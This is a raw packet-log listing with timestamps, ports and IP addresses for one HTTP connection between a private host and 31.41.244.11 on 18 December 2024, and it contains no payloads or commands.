Dec 18, 2024 15:22:14.477869034 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.478938103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.479335070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.479337931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.479469061 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.481079102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.481133938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.481157064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.481672049 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.481755018 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.481805086 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.481807947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.481954098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.482513905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.482608080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.482655048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.482655048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.483206987 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.483321905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.483331919 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.483364105 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.484117985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.484198093 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.484211922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.484311104 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.485048056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.485132933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.485158920 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.485218048 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.486159086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.486268997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.486299992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.486380100 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.487173080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.487241030 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.487339020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.487339020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.488316059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.488501072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.488507032 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.488694906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.489392996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.489459038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.489551067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.489592075 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.490537882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.490605116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.490643024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.490643024 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.491558075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.491852999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.627202034 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.627305031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.627331972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.627355099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.627552986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.627607107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.627696991 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.627835989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.628652096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.628793001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.628854036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.628854036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.629757881 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.629821062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.629844904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.629945040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.630829096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.630906105 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.630911112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.631021976 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.631849051 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.631906033 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.631974936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.632150888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.632986069 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.633004904 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.633054018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.633071899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.634035110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.634118080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.634124994 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.634193897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.635117054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.635128975 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.635207891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.636209965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.636284113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.636290073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.636333942 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.637264967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.637314081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.637406111 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.637511015 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.638464928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.638472080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.638520956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.638555050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.639385939 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.639437914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.639513969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.639563084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.640616894 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.640707016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.640723944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.640760899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.641720057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.641731024 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.641773939 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.641773939 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.642826080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.642900944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.643017054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.643078089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.644051075 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.644115925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.644181967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.644354105 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.645020962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.645137072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.645191908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.645286083 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.645920038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.646004915 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.646030903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.646095991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.647237062 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.647289038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.647296906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.647346020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.648381948 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.648418903 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.648469925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.648485899 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.649631977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.649686098 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.649782896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.649884939 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.650746107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.650820017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.650842905 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.650861979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.651909113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.652028084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.652108908 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.652198076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.652825117 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.653028965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.653050900 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.653130054 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.653837919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.653920889 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.653935909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.653973103 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.654890060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.654987097 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.655034065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.655034065 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.655916929 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.655971050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.655997992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.656256914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.657119036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.657207012 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.657370090 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.657409906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.658179045 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.658293009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.658406019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.658406019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.659272909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.659336090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.659337044 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.659537077 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.660267115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.660365105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.660384893 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.660430908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.661247969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.661299944 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.661369085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.661535025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.662185907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.662240028 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.662269115 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.662317038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.663141012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.663165092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.663187027 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.663204908 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.664232016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.664299965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.664335012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.664422035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.665301085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.665370941 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.665416956 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.665476084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.666409969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.666485071 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.666520119 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.666553974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.667426109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.667531967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.667531967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.667572975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.668622971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.668659925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.668721914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.668776035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.670013905 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.670063019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.670090914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.670175076 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.671060085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.671142101 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.671161890 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.671341896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.672172070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.672240973 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.672332048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.672434092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.673288107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.673351049 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.673511982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.673563004 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.674634933 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.674689054 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.674804926 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.674875975 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.675919056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.676038980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.676042080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.676090956 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.677201986 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.677314997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.677341938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.677391052 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.678396940 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.678453922 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.678517103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.678693056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.679538012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.679637909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.679666042 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.679744005 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.680787086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.680855036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.680927992 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.680974007 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.682291985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.682370901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.682372093 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.682466984 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.683486938 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.683595896 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.683608055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.683692932 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.684649944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.684709072 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.684773922 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.684904099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.686131001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.686187983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.819113970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.819211960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.819241047 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.819308996 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.819602013 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.819684982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.819710016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.819803953 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.820336103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.820419073 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.820527077 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.820672989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.821475029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.821552038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.821609974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.821698904 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.822561026 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.822653055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.822678089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.822691917 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.823628902 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.823709965 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.823734999 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.823786020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.824661016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.824728012 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.824733019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.824779987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.825958014 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.826080084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.826209068 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.826209068 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.827056885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.827127934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.827155113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.827275991 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.828130960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.828186989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.828227997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.828325033 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.829492092 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.829550028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.829557896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.829662085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.830399036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.830473900 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.830478907 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.830576897 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.831218004 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.831284046 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.831342936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.831414938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.832169056 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.832324028 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.832328081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.832400084 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.833506107 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.833565950 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.833734989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.833811045 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.834541082 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.834606886 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.834635019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.834811926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.835561037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.835639000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.835642099 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.835700989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.836520910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.836632967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.836719036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.836719036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.837714911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.837727070 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.837800026 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.838663101 CET	80	49910	31.41.244.11	192.168.2.5
